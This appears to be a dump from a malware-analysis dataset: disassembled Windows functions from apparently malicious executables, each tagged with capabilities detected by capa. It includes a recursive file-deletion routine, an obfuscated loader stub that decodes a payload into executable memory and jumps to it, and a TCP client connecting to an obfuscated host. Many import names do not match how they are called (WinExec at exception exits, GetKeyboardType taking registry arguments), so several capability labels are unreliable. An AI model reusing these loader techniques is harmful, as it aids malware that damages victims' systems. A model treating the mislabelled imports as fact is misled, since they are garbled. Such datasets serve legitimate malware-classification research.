joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40559e
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14c
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, ebx
and eax, 4
push edi
mov dword [ebp - 4], eax
call fcn.0040585c
test bl, 8
mov dword [ebp - 0xc], eax
je 0x4055dd
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
neg eax
sbb eax, eax
inc eax
add dword [0x423768], eax
jmp 0x405767
mov dword [ebp + 8], ebx
and dword [ebp + 8], 1
je 0x4055f7
test eax, eax
je 0x405715
test bl, 2
je 0x405715
mov esi, 0x420ce8
push edi
push esi
call fcn.00405cde
cmp dword [ebp + 8], 0
je 0x405616
push 0x409378
push esi
call sub.KERNEL32.dll_lstrcatA
jmp 0x40561c
push edi
call fcn.004057b5
cmp byte [edi], 0
jne 0x40562a
cmp byte [0x420ce8], 0x5c
jne 0x405635
push 0x409014
push edi
call sub.KERNEL32.dll_lstrcatA
push edi
call sub.KERNEL32.dll_lstrlenA
mov ebx, eax
lea eax, [ebp - 0x14c]
push eax
push esi
add ebx, edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
je 0x40570b
lea eax, [ebp - 0x120]
push 0x3f
push eax
lea esi, [ebp - 0x120]
call fcn.00405799
cmp byte [eax], 0
je 0x40567b
cmp byte [ebp - 0x1c], 0
je 0x40567b
lea esi, [ebp - 0x1c]
cmp byte [esi], 0x2e
jne 0x405691
mov al, byte [esi + 1]
test al, al
je 0x4056ea
cmp al, 0x2e
jne 0x405691
cmp byte [esi + 2], 0
je 0x4056ea
push esi
push ebx
call fcn.00405cde
test byte [ebp - 0x14c], 0x10
je 0x4056b6
mov eax, dword [ebp + 0xc]
and eax, 3
cmp al, 3
jne 0x4056ea
push dword [ebp + 0xc]
push edi
call fcn.0040559e
jmp 0x4056ea
push dword [ebp - 4]
push edi
call fcn.00405556
test eax, eax
jne 0x4056e2
cmp dword [ebp - 4], eax
je 0x4056da
push edi
push 0xfffffffffffffff1
call fcn.00404fc9
push 0
push edi
call fcn.00405b92
jmp 0x4056ea
inc dword [0x423768]
jmp 0x4056ea
push edi
push 0xfffffffffffffff2
call fcn.00404fc9
lea eax, [ebp - 0x14c]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405659
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_FindClose]
cmp dword [ebp + 8], 0
je 0x405715
and byte [ebx - 1], 0
xor esi, esi
cmp dword [ebp + 8], esi
je 0x405767
cmp dword [ebp - 0xc], esi
jne 0x405729
inc dword [0x423768]
jmp 0x405767
push edi
call fcn.00405fe2
test eax, eax
je 0x405767
push edi
call fcn.0040576e
mov eax, dword [ebp - 4]
or al, 1
push eax
push edi
call fcn.00405556
test eax, eax
jne 0x40575f
cmp dword [ebp - 4], esi
je 0x405721
push edi
push 0xfffffffffffffff1
call fcn.00404fc9
push esi
push edi
call fcn.00405b92
jmp 0x405767
push edi
push 0xffffffffffffffe5
call fcn.00404fc9
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x401838
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
xor edx, edx
push ebp
push 0x4018ee
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x40a5c4
call sub.KERNEL32.DLL_GetVersionExA
cmp byte [0x40a045], 0
je 0x401866
push 0x40a5c4
call sub.KERNEL32.DLL_VirtualQuery
mov eax, 0x40a5e4
call fcn.004011fc
mov eax, 0x40a5f4
call fcn.004011fc
mov eax, 0x40a620
call fcn.004011fc
push 0xff8
push 0
call sub.KERNEL32.DLL_GetProcAddress
mov dword [0x40a61c], eax
cmp dword [0x40a61c], 0
je 0x4018cd
mov eax, 3
mov edx, dword [0x40a61c]
xor ecx, ecx
mov dword [edx + eax*4 - 0xc], ecx
inc eax
cmp eax, 0x401
jne 0x4018a3
mov eax, 0x40a604
mov dword [eax + 4], eax
mov dword [eax], eax
mov dword [0x40a610], eax
mov byte [0x40a5bc], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4018f5
cmp byte [0x40a045], 0
je 0x4018ed
push 0x40a5c4
call sub.KERNEL32.DLL_WinExec
ret

Function at 0x4018fc
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
cmp byte [0x40a5bc], 0
je 0x4019d9
xor edx, edx
push ebp
push 0x4019d2
push dword fs:[edx]
mov dword fs:[edx], esp
cmp byte [0x40a045], 0
je 0x40192e
push 0x40a5c4
call sub.KERNEL32.DLL_VirtualQuery
mov byte [0x40a5bc], 0
mov eax, dword [0x40a61c]
push eax
call sub.KERNEL32.DLL_GetStdHandle
xor eax, eax
mov dword [0x40a61c], eax
mov ebx, dword [0x40a5e4]
jmp 0x401961
push 0x8000
push 0
mov eax, dword [ebx + 8]
push eax
call sub.KERNEL32.DLL_GetThreadLocale
mov ebx, dword [ebx]
cmp ebx, 0x40a5e4
jne 0x40194f
mov eax, 0x40a5e4
call fcn.004011fc
mov eax, 0x40a5f4
call fcn.004011fc
mov eax, 0x40a620
call fcn.004011fc
mov eax, dword [0x40a5dc]
test eax, eax
je 0x4019a7
mov edx, dword [eax]
mov dword [0x40a5dc], edx
push eax
call sub.KERNEL32.DLL_GetStdHandle
mov eax, dword [0x40a5dc]
test eax, eax
jne 0x401990
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4019d9
cmp byte [0x40a045], 0
je 0x4019c7
push 0x40a5c4
call sub.KERNEL32.DLL_WinExec
push 0x40a5c4
call sub.KERNEL32.DLL_WriteFile
ret
pop ebx
pop ebp
ret
Function at 0x401f24
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov ebx, eax
cmp byte [0x40a5bc], 0
jne 0x401f41
call fcn.00401838
test al, al
je 0x401f49
cmp ebx, 0x7ffffff8
jle 0x401f53
xor eax, eax
mov dword [ebp - 4], eax
jmp 0x4020a7
xor ecx, ecx
push ebp
push 0x4020a0
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x40a045], 0
je 0x401f74
push 0x40a5c4
call sub.KERNEL32.DLL_VirtualQuery
add ebx, 7
and ebx, 0xfffffffc
cmp ebx, 0xc
jge 0x401f84
mov ebx, 0xc
cmp ebx, 0x1000
jg 0x402023
mov eax, ebx
test eax, eax
jns 0x401f99
add eax, 3
sar eax, 2
mov edx, dword [0x40a61c]
mov edx, dword [edx + eax*4 - 0xc]
test edx, edx
je 0x402023
mov esi, edx
mov eax, esi
add eax, ebx
and dword [eax], 0xfffffffe
mov eax, dword [edx + 4]
cmp edx, eax
jne 0x401fd4
mov eax, ebx
test eax, eax
jns 0x401fc3
add eax, 3
sar eax, 2
mov ecx, dword [0x40a61c]
xor edi, edi
mov dword [ecx + eax*4 - 0xc], edi
jmp 0x401ffa
mov ecx, ebx
test ecx, ecx
jns 0x401fdd
add ecx, 3
sar ecx, 2
mov edi, dword [0x40a61c]
mov dword [edi + ecx*4 - 0xc], eax
mov ecx, dword [edx]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 8]
mov dword [ecx + 4], eax
mov ecx, dword [ebp - 8]
mov dword [eax], ecx
mov eax, esi
mov edx, dword [edx + 8]
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x40a5ac]
sub ebx, 4
add dword [0x40a5b0], ebx
call fcn.00403100
jmp 0x4020a7
cmp ebx, dword [0x40a614]
jg 0x402075
sub dword [0x40a614], ebx
cmp dword [0x40a614], 0xc
jge 0x402047
add ebx, dword [0x40a614]
xor eax, eax
mov dword [0x40a614], eax
mov eax, dword [0x40a618]
add dword [0x40a618], ebx
mov edx, ebx
or edx, 2
mov dword [eax], edx
add eax, 4
mov dword [ebp - 4], eax
inc dword [0x40a5ac]
sub ebx, 4
add dword [0x40a5b0], ebx
call fcn.00403100
jmp 0x4020a7
mov eax, ebx
call fcn.00401e30
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4020a7
cmp byte [0x40a045], 0
je 0x40209f
push 0x40a5c4
call sub.KERNEL32.DLL_WinExec
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x4020b4
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov ebx, eax
xor eax, eax
mov dword [0x40a5c0], eax
cmp byte [0x40a5bc], 0
jne 0x4020ec
call fcn.00401838
test al, al
jne 0x4020ec
mov dword [0x40a5c0], 8
mov dword [ebp - 4], 8
jmp 0x40224d
xor ecx, ecx
push ebp
push 0x402246
push dword fs:[ecx]
mov dword fs:[ecx], esp
cmp byte [0x40a045], 0
je 0x40210d
push 0x40a5c4
call sub.KERNEL32.DLL_VirtualQuery
mov esi, ebx
sub esi, 4
mov ebx, dword [esi]
test bl, 2
jne 0x402128
mov dword [0x40a5c0], 9
jmp 0x40221d
dec dword [0x40a5ac]
mov eax, ebx
and eax, 0x7ffffffc
sub eax, 4
sub dword [0x40a5b0], eax
test bl, 1
je 0x402188
mov eax, esi
sub eax, 0xc
mov edx, dword [eax + 8]
cmp edx, 0xc
jl 0x402158
test edx, 0x80000003
je 0x402167
mov dword [0x40a5c0], 0xa
jmp 0x40221d
mov eax, esi
sub eax, edx
cmp edx, dword [eax + 8]
je 0x40217f
mov dword [0x40a5c0], 0xa
jmp 0x40221d
add ebx, edx
mov esi, eax
call fcn.004019dc
and ebx, 0x7ffffffc
mov eax, esi
add eax, ebx
mov edi, eax
cmp edi, dword [0x40a618]
jne 0x4021c8
sub dword [0x40a618], ebx
add dword [0x40a614], ebx
cmp dword [0x40a614], 0x3c00
jle 0x4021b9
call fcn.00401ccc
xor eax, eax
mov dword [ebp - 4], eax
call fcn.00403100
jmp 0x40224d
mov edx, dword [eax]
test dl, 2
je 0x4021eb
and edx, 0x7ffffffc
cmp edx, 4
jge 0x4021e6
mov dword [0x40a5c0], 0xb
jmp 0x40221d
or dword [eax], 1
jmp 0x402214
mov eax, edi
cmp dword [eax + 4], 0
je 0x4021fe
cmp dword [eax], 0
je 0x4021fe
cmp dword [eax + 8], 0xc
jge 0x40220a
mov dword [0x40a5c0], 0xb
jmp 0x40221d
mov edx, dword [eax + 8]
add ebx, edx
call fcn.004019dc
mov edx, ebx
mov eax, esi
call fcn.00401c44
mov eax, dword [0x40a5c0]
mov dword [ebp - 4], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40224d
cmp byte [0x40a045], 0
je 0x402245
push 0x40a5c4
call sub.KERNEL32.DLL_WinExec
ret
mov eax, dword [ebp - 4]
pop edi
pop esi
pop ebx
pop ecx
pop ebp
ret
Function at 0x403ca8
Capabilities:
Get disk size
Get thread local storage value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdb0
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0xc], eax
push 0x403e3c
call sub.KERNEL32.DLL_LocalAlloc
mov esi, eax
test esi, esi
je 0x403d10
push 0x403e4c
push esi
call sub.KERNEL32.DLL_TlsGetValue
mov ebx, eax
test ebx, ebx
je 0x403d10
push 0x105
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call ebx
test eax, eax
je 0x403d10
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_GetCPInfo
jmp 0x403e32
mov eax, dword [ebp - 4]
cmp byte [eax], 0x5c
jne 0x403d50
mov eax, dword [ebp - 4]
cmp byte [eax + 1], 0x5c
jne 0x403e32
mov eax, dword [ebp - 4]
add eax, 2
call fcn.00403c94
mov esi, eax
cmp byte [esi], 0
je 0x403e32
lea eax, [esi + 1]
call fcn.00403c94
mov esi, eax
cmp byte [esi], 0
je 0x403e32
jmp 0x403d56
mov esi, dword [ebp - 4]
add esi, 2
mov ebx, esi
sub ebx, dword [ebp - 4]
lea eax, [ebx + 1]
push eax
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_GetCPInfo
jmp 0x403e15
lea eax, [esi + 1]
call fcn.00403c94
mov edi, eax
mov eax, edi
sub eax, esi
mov edx, eax
add edx, ebx
inc edx
cmp edx, 0x105
jg 0x403e32
inc eax
push eax
push esi
lea eax, [ebp - 0x24f]
add eax, ebx
push eax
call sub.KERNEL32.DLL_GetCPInfo
lea eax, [ebp - 0x14a]
push eax
lea eax, [ebp - 0x24f]
push eax
call sub.KERNEL32.DLL_VirtualFree
mov esi, eax
cmp esi, 0xffffffff
je 0x403e32
push esi
call sub.KERNEL32.DLL_VirtualAlloc
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_GetDiskFreeSpaceA
lea edx, [ebx + 1]
add eax, edx
inc eax
cmp eax, 0x105
jg 0x403e32
mov byte [ebp + ebx - 0x24f], 0x5c
mov eax, 0x105
sub eax, ebx
dec eax
push eax
lea eax, [ebp - 0x11e]
push eax
lea eax, [ebp - 0x24f]
add eax, ebx
inc eax
push eax
call sub.KERNEL32.DLL_GetCPInfo
lea eax, [ebp - 0x11e]
push eax
call sub.KERNEL32.DLL_GetDiskFreeSpaceA
inc eax
add ebx, eax
mov esi, edi
cmp byte [esi], 0
jne 0x403d74
mov eax, dword [ebp - 8]
push eax
lea eax, [ebp - 0x24f]
push eax
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.DLL_GetCPInfo
mov eax, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403e60
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffee0
push ebx
push esi
mov dword [ebp - 4], eax
push 0x105
lea eax, [ebp - 0x11d]
push eax
push 0
call sub.KERNEL32.DLL_DeleteCriticalSection
mov byte [ebp - 0x12], 0
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404090
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x403ee3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x404090
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
je 0x403ee3
lea eax, [ebp - 8]
push eax
push 0xf0019
push 0
push 0x4040ac
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x403f6c
xor eax, eax
push ebp
push 0x403f65
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 0x18], 5
lea eax, [ebp - 0x11d]
mov edx, 0x105
call fcn.00403ca8
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
lea eax, [ebp - 0x11d]
push eax
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_GetKeyboardType
test eax, eax
je 0x403f4a
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x12]
push eax
push 0
push 0
push 0x4040cc
mov eax, dword [ebp - 8]
push eax
call sub.user32.dll_GetKeyboardType
test eax, eax
je 0x403f4a
mov byte [ebp - 0x12], 0
mov byte [ebp - 0xe], 0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x403f6c
mov eax, dword [ebp - 8]
push eax
call sub.advapi32.dll_RegCloseKey
ret
push 0x105
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_GetCPInfo
push 5
lea eax, [ebp - 0xd]
push eax
push 3
call sub.KERNEL32.DLL_EnumCalendarInfoA
push eax
call sub.KERNEL32.DLL_LeaveCriticalSection
xor esi, esi
cmp byte [ebp - 0x11d], 0
je 0x404086
cmp byte [ebp - 0xd], 0
jne 0x403fb3
cmp byte [ebp - 0x12], 0
je 0x404086
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_GetDiskFreeSpaceA
mov ebx, eax
lea eax, [ebp - 0x11d]
add ebx, eax
jmp 0x403fcc
dec ebx
cmp byte [ebx], 0x2e
je 0x403fdb
lea eax, [ebp - 0x11d]
cmp ebx, eax
jne 0x403fcb
lea eax, [ebp - 0x11d]
cmp ebx, eax
je 0x404086
inc ebx
cmp byte [ebp - 0x12], 0
je 0x404018
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0x12]
push eax
push ebx
call sub.KERNEL32.DLL_GetCPInfo
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_GetACP
mov esi, eax
test esi, esi
jne 0x404086
cmp byte [ebp - 0xd], 0
je 0x404086
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_GetCPInfo
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_GetACP
mov esi, eax
test esi, esi
jne 0x404086
mov byte [ebp - 0xb], 0
lea eax, [ebp - 0x11d]
mov edx, ebx
sub edx, eax
mov eax, 0x105
sub eax, edx
push eax
lea eax, [ebp - 0xd]
push eax
push ebx
call sub.KERNEL32.DLL_GetCPInfo
push 2
push 0
lea eax, [ebp - 0x11d]
push eax
call sub.KERNEL32.DLL_GetACP
mov esi, eax
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x40610d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x40611c
pop dword [ebp - 0x50]
mov eax, 0x40611c
sub dword [ebp - 0x50], eax
mov dword [ebp - 0x60], 0x7f1effd2
add dword [ebp - 0x60], 0xcf334579
mov dword [ebp - 0x5c], 0xf5b7772b
sub dword [ebp - 0x5c], 0xc3842ae6
mov dword [ebp - 0x58], 0xfd9eda75
sub dword [ebp - 0x58], 0xb1529647
mov dword [ebp - 0x54], 0xb8858312
sub dword [ebp - 0x54], 0xb8858312
lea eax, [ebp - 0x60]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x50]
call dword [eax]
mov dword [ebp - 0x60], 0x6cdef769
add dword [ebp - 0x60], 0x79371ed
mov dword [ebp - 0x5c], 0xaccef67d
add dword [ebp - 0x5c], 0x949d6af8
mov dword [ebp - 0x58], 0x9ec0fe72
sub dword [ebp - 0x58], 0x3b519206
mov dword [ebp - 0x54], 0xf9b52fc4
add dword [ebp - 0x54], 0x64ad03c
lea ebx, [ebp - 0x60]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x50]
call dword [eax]
push 0x40
push 0x1000
push 0x3464b
push 0
call eax
mov ecx, 0x917e8348
sub ecx, 0x917e4424
xor edi, edi
add edi, eax
mov ebx, 0x410000
add ebx, dword [ebp - 0x50]
mov edx, 0xab570946
sub edx, 0x1aef275a
sub dword [ebp - 0x10], 0x7efcad7f
mov esi, dword [ebx]
mov dword [ebp - 0x1c], 0xef273c9c
sub esi, edx
mov dword [ebp - 0x2c], 0x933913a1
mov dword [edi], esi
xor dword [ebp - 0x10], edx
add edi, 0x4686506
add edi, 0xfb979afe
add ebx, 4
loop 0x40622b
add eax, 0xef63
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x99497e8f
add ecx, 0x66f68171
add ecx, dword [ebp - 0x50]
call ebx
leave
ret

Function at 0x4065b0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x40c17c]
jne 0x4065ba
repz ret
jmp fcn.00406941
Function at 0x401def
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x14], ecx
mov byte [ebp - 0x24], 1
mov byte [ebp - 0x23], 2
mov byte [ebp - 0x22], 4
mov byte [ebp - 0x21], 8
mov byte [ebp - 0x20], 0x10
mov byte [ebp - 0x1f], 0x20
mov byte [ebp - 0x1e], pe_nt_image_headers32
mov byte [ebp - 0x1d], 0x80
mov byte [ebp - 0x1c], 0x1b
mov byte [ebp - 0x1b], 0x36
xor esi, esi
mov edi, ebx
mov eax, dword [ebp + 8]
xor ecx, ecx
add eax, esi
mov dl, byte [eax]
add eax, 4
mov byte [edi + ecx], dl
inc ecx
cmp ecx, 4
jl 0x401e31
inc esi
add edi, 4
cmp esi, 4
jl 0x401e2a
push 1
lea eax, [ebp - 0x24]
pop ecx
dec eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], 0x10
mov dword [ebp - 0x18], eax
xor esi, esi
mov dword [ebp - 0xc], esi
xor eax, eax
test esi, esi
lea edx, [eax + ecx*4]
je 0x401e73
lea edx, [esi + edx*4]
mov dl, byte [edx + ebx - 1]
jmp 0x401e77
mov dl, byte [ebx + edx*4 - 0xd]
mov byte [ebp + eax - 4], dl
inc eax
cmp eax, 4
jl 0x401e63
test esi, esi
jne 0x401ed3
mov al, byte [ebp - 4]
push 1
mov byte [ebp + 0xb], al
pop ebx
lea eax, [ebp - 4]
xor edi, edi
sub ebx, eax
lea esi, [ebp + edi - 4]
push 4
pop ecx
lea eax, [ebx + esi]
cdq
idiv ecx
mov eax, dword [ebp - 0x14]
inc edi
cmp edi, 3
movzx ecx, byte [ebp + edx - 4]
mov cl, byte [ecx + eax + 4]
mov byte [esi], cl
jl 0x401e95
movzx ecx, byte [ebp + 0xb]
mov ebx, dword [ebp + 0xc]
mov esi, dword [ebp - 0xc]
mov al, byte [ecx + eax + 4]
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ecx]
xor byte [ebp - 4], al
mov eax, dword [ebp - 8]
xor edi, edi
add eax, esi
add eax, ebx
mov dl, byte [ebp + edi - 4]
xor dl, byte [eax - 0x10]
inc edi
mov byte [eax], dl
add eax, 4
cmp edi, 4
jl 0x401edc
inc esi
cmp esi, 4
mov dword [ebp - 0xc], esi
jl 0x401e61
add dword [ebp - 8], 0x10
inc ecx
cmp ecx, 0xa
mov dword [ebp - 0x10], ecx
jle 0x401e5c
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x401f13
Capabilities:
Encrypt data using aes mixcolumns step

Disassembly:
push ebp
mov ebp, esp
mov cl, byte [ebp + 0xc]
push ebx
push esi
push 1
xor al, al
mov byte [ebp + 0xc], cl
pop esi
mov dl, byte [ebp + esi + 0xb]
lea ecx, [ebp + esi + 0xc]
shl dl, 1
mov byte [ecx], dl
test byte [ecx - 1], 0x80
je 0x401f3a
xor dl, 0x1b
mov byte [ecx], dl
inc esi
cmp esi, 4
jl 0x401f23
xor edx, edx
mov bl, byte [ebp + 8]
mov cl, dl
shr bl, cl
test bl, 1
je 0x401f52
xor al, byte [ebp + edx + 0xc]
inc edx
cmp edx, 4
jl 0x401f42
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4020a3
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
push edi
xor edi, edi
mov ecx, dword [esp + 0x14]
push 4
lea eax, [edi + esi]
sub ecx, esi
pop edx
mov bl, byte [ecx + eax]
xor byte [eax], bl
add eax, 4
dec edx
jne 0x4020b8
inc edi
cmp edi, 4
jl 0x4020ac
pop edi
pop esi
pop ebx
ret 8
Function at 0x402148
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], 4
jmp 0x402166
mov eax, dword [ebp - 0xc]
xor ecx, ecx
mov esi, eax
mov dl, byte [esi]
add esi, 4
mov byte [ebp + ecx + 8], dl
inc ecx
cmp ecx, 4
jl 0x40216a
push 3
lea edi, [ebp + 8]
pop esi
mov dword [ebp - 8], eax
sub edi, esi
lea eax, [esi - 2]
push 4
cdq
pop ecx
idiv ecx
mov ecx, dword [ebp - 4]
mov al, byte [ebp + edx + 8]
push eax
push 0xb
call fcn.00401f13
mov bl, al
lea eax, [esi - 1]
push 4
cdq
pop ecx
idiv ecx
mov ecx, dword [ebp - 4]
mov al, byte [ebp + edx + 8]
push eax
push 0xd
call fcn.00401f13
xor bl, al
mov eax, esi
push 4
cdq
pop ecx
idiv ecx
mov ecx, dword [ebp - 4]
mov al, byte [ebp + edx + 8]
push eax
push 9
call fcn.00401f13
mov ecx, dword [ebp - 4]
xor bl, al
mov al, byte [edi + esi]
push eax
push 0xe
call fcn.00401f13
xor bl, al
mov eax, dword [ebp - 8]
add dword [ebp - 8], 4
inc esi
mov byte [eax], bl
lea eax, [esi - 3]
cmp eax, 4
jl 0x402184
inc dword [ebp - 0xc]
dec dword [ebp - 0x10]
jne 0x402163
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x4024ff
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x402523
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x40251c
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret

Function at 0x402524
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x402570
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov word [ebp - 0x10], 2
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0xe], ax
lea eax, [ebp - 0x10]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402575
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
or eax, 0xffffffff
jmp 0x402577
mov eax, esi
pop esi
leave
ret

Function at 0x40260a
Capabilities:
Resolve dns

Disassembly:
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x40262e
push dword [esp + 4]
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x402627
ret
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
ret
Function at 0x402e73
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket

Disassembly:
mov eax, 0x411e37
call fcn.00408998
sub esp, 0x2ec
push ebx
push esi
lea eax, [ebp - 0x1c]
push edi
push eax
lea ecx, [ebp - 0x2f8]
mov byte [ebp - 0x1c], 0x2b
mov byte [ebp - 0x1b], 0x7e
mov byte [ebp - 0x1a], 0x15
mov byte [ebp - 0x19], 0x15
mov byte [ebp - 0x18], 0x28
mov byte [ebp - 0x17], 0xae
mov byte [ebp - 0x16], 0xd2
mov byte [ebp - 0x15], 0xa6
mov byte [ebp - 0x14], 0xab
mov byte [ebp - 0x13], 0xf8
mov byte [ebp - 0x12], 0x17
mov byte [ebp - 0x11], 0x88
mov byte [ebp - 0x10], 7
mov byte [ebp - 0xf], 0xcf
mov byte [ebp - 0xe], 0x4f
mov byte [ebp - 0xd], 0x3c
call fcn.00401000
and dword [ebp - 4], 0
lea eax, [ebp - 0x44]
push eax
push 0x414100
lea ecx, [ebp - 0x2f8]
call fcn.00401ce0
push 9
push 6
pop ebx
mov edi, str._ni_d__j_d_n
push ebx
push edi
mov word [ebp - 0x30], 2
call fcn.00408453
push 0x12
mov esi, str._nx_d__y_d_n
push ebx
push esi
call fcn.00408453
add esp, 0x18
push 0x1f91
call dword [sym.imp.WS2_32.dll_htons]
push 9
push ebx
push edi
mov word [ebp - 0x2e], ax
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
lea eax, [ebp - 0x44]
push eax
call fcn.004024ff
push 9
push ebx
push edi
mov dword [ebp - 0x2c], eax
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x34
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
push 9
push ebx
push edi
mov dword [ebp - 0x20], eax
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
add esp, 0x18
lea eax, [ebp - 0x30]
push 0x10
push eax
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402f9d
push dword [ebp - 0x20]
call dword [sym.imp.WS2_32.dll_closesocket]
or esi, 0xffffffff
jmp 0x402fb5
push 9
push ebx
push edi
call fcn.00408453
push 0x12
push ebx
push esi
call fcn.00408453
mov esi, dword [ebp - 0x20]
add esp, 0x18
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2f8]
call fcn.00401cd9
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret